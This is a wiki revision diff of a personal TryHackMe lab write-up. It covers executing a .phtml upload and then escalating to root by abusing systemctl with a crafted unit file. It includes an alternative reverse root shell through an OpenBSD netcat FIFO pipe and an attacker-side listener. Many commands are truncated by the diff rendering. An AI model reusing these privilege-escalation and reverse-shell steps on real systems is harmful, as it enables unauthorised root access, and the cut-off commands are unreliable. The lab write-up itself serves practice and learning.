prac_app_tryhackme
Differences
This shows you the differences between two versions of the page.
Both sides previous revisionPrevious revisionNext revision | Previous revision | ||
prac_app_tryhackme [2022/09/24 18:51] – gman | prac_app_tryhackme [2022/09/24 19:03] (current) – gman | ||
---|---|---|---|
Line 61: | Line 61: | ||
</ | </ | ||
- | Then execute the .phtml file on the target machine: | + | * Then execute the .phtml file on the target machine: |
< | < | ||
Line 81: | Line 81: | ||
**Discovered Vulnerability: | **Discovered Vulnerability: | ||
+ | |||
+ | ===== Exploit ===== | ||
[[https:// | [[https:// | ||
- | * First we create a variable which holds a unique file (on target machine). | + | * First we create a variable which holds a unique file (on target machine). |
- | < | + | |
- | </code> | + | < |
- | * Then we create an unit file and write it into the variable. | + | |
- | < | + | |
- | </ | + | |
- | | + | |
- | < | + | |
+ | < | ||
+ | echo ' | ||
+ | > ExecStart=/ | ||
+ | > [Install] | ||
+ | > WantedBy=multi-user.target' | ||
</ | </ | ||
+ | |||
* And finally we use the / | * And finally we use the / | ||
+ | |||
< | < | ||
+ | / | ||
+ | # Created symlink from / | ||
+ | / | ||
+ | # Created symlink from / | ||
</ | </ | ||
+ | |||
* Find it: | * Find it: | ||
- | < | ||
- | </ | + | < |
+ | |||
+ | ===== Alternative Exploit ===== | ||
**To get a reverse root shell:** | **To get a reverse root shell:** | ||
- | | + | **NOTE:** the target machine is using netcat OpenBSD, NOT the traditional netcat. That means the -e (execute) flag will not work. See **Netcat (Traditional)** and **Netcat (OpenBSD)" |
< | < | ||
+ | # nc (openbsd): | ||
+ | rm / | ||
+ | </ | ||
+ | * Create your unit file: | ||
+ | |||
+ | < | ||
+ | echo ' | ||
+ | Type=oneshot | ||
+ | ExecStart=/ | ||
+ | [Install] | ||
+ | WantedBy=multi-user.target' | ||
</ | </ | ||
+ | |||
* Open a listener on your attack machine: | * Open a listener on your attack machine: | ||
- | < | ||
- | </ | + | < |
* Link and start the service: | * Link and start the service: | ||
- | < | ||
+ | < | ||
+ | / | ||
+ | / | ||
</ | </ | ||
prac_app_tryhackme.1664045489.txt.gz · Last modified: by gman